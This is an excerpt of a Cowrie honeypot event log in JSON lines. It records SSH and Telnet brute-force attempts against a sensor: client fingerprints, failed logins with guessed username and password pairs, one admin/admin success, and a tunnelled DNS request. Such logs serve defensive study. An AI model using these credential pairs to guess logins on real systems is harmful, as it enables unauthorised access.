{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:49.391271Z","src_ip":"69.6.221.248","session":"6def9aa1ff2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:49.515886Z","src_ip":"69.6.221.248","session":"6def9aa1ff2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234567890qwertyuiop","message":"login attempt [deploy/1234567890qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:50.000015Z","src_ip":"69.6.221.248","session":"6def9aa1ff2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:51.117059Z","src_ip":"69.6.221.248","session":"6def9aa1ff2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38626,"dst_ip":"159.203.135.109","dst_port":23,"session":"b88c818a5477","protocol":"telnet","message":"New connection: 69.4.83.194:38626 (159.203.135.109:23) [session: b88c818a5477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:55.346461Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":39160,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36996fa1d7e","protocol":"ssh","message":"New connection: 4.194.4.255:39160 (159.203.135.109:22) [session: d36996fa1d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:57.773492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:57.778234Z","src_ip":"4.194.4.255","session":"d36996fa1d7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:58.024306Z","src_ip":"4.194.4.255","session":"d36996fa1d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu.1","message":"login attempt [ubuntu/ubuntu.1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:59.037514Z","src_ip":"4.194.4.255","session":"d36996fa1d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:00.287048Z","src_ip":"4.194.4.255","session":"d36996fa1d7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54184,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2db37cea5c0","protocol":"ssh","message":"New connection: 103.153.68.219:54184 (159.203.135.109:22) [session: f2db37cea5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:03.632279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:03.640939Z","src_ip":"103.153.68.219","session":"f2db37cea5c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:03.891364Z","src_ip":"103.153.68.219","session":"f2db37cea5c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198711","message":"login attempt [root/198711] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:04.644445Z","src_ip":"103.153.68.219","session":"f2db37cea5c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:05.898354Z","src_ip":"103.153.68.219","session":"f2db37cea5c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":54348,"dst_ip":"159.203.135.109","dst_port":22,"session":"368e6c8ad658","protocol":"ssh","message":"New connection: 213.183.120.56:54348 (159.203.135.109:22) [session: 368e6c8ad658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:13.374438Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.221.127","src_port":60652,"dst_ip":"159.203.135.109","dst_port":22,"session":"b962145bb3d6","protocol":"ssh","message":"New connection: 143.198.221.127:60652 (159.203.135.109:22) [session: b962145bb3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:14.657223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:14.662411Z","src_ip":"143.198.221.127","session":"b962145bb3d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:14.908988Z","src_ip":"143.198.221.127","session":"b962145bb3d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yl123456","message":"login attempt [root/Yl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:15.928591Z","src_ip":"143.198.221.127","session":"b962145bb3d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:17.178155Z","src_ip":"143.198.221.127","session":"b962145bb3d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.23860836029053,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:30.584936Z","src_ip":"69.4.83.194","session":"b88c818a5477","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53252,"dst_ip":"159.203.135.109","dst_port":23,"session":"06d36ec80952","protocol":"telnet","message":"New connection: 69.4.83.194:53252 (159.203.135.109:23) [session: 06d36ec80952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:36.184287Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:46.152422Z","src_ip":"213.183.120.56","session":"78960066ea56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11986,"dst_ip":"10.17.0.5","dst_port":22,"session":"5414f39166b1","protocol":"ssh","message":"New connection: 87.251.64.176:11986 (10.17.0.5:22) [session: 5414f39166b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:55.354382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:55.359722Z","src_ip":"87.251.64.176","session":"5414f39166b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:55.454620Z","src_ip":"87.251.64.176","session":"5414f39166b1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:55.738208Z","src_ip":"87.251.64.176","session":"5414f39166b1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:55.835551Z","session":"5414f39166b1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:55.931670Z","src_ip":"87.251.64.176","session":"5414f39166b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:57:56.027857Z","src_ip":"87.251.64.176","session":"5414f39166b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":50724,"dst_ip":"159.203.135.109","dst_port":22,"session":"87a5376eb7ab","protocol":"ssh","message":"New connection: 27.50.25.190:50724 (159.203.135.109:22) [session: 87a5376eb7ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:04.740133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:04.750470Z","src_ip":"27.50.25.190","session":"87a5376eb7ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:04.979518Z","src_ip":"27.50.25.190","session":"87a5376eb7ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lol","password":"lol","message":"login attempt [lol/lol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:05.927138Z","src_ip":"27.50.25.190","session":"87a5376eb7ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:07.159445Z","src_ip":"27.50.25.190","session":"87a5376eb7ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.875813484191895,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:10.059968Z","src_ip":"69.4.83.194","session":"06d36ec80952","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":42502,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6fc9c607176","protocol":"ssh","message":"New connection: 103.148.100.146:42502 (159.203.135.109:22) [session: d6fc9c607176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:13.030118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:13.034806Z","src_ip":"103.148.100.146","session":"d6fc9c607176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:13.302864Z","src_ip":"103.148.100.146","session":"d6fc9c607176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123","message":"login attempt [devuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:14.401088Z","src_ip":"103.148.100.146","session":"d6fc9c607176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:15.671315Z","src_ip":"103.148.100.146","session":"d6fc9c607176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":34344,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc1795224f49","protocol":"ssh","message":"New connection: 125.21.53.232:34344 (159.203.135.109:22) [session: cc1795224f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:26.917474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:26.922017Z","src_ip":"125.21.53.232","session":"cc1795224f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com",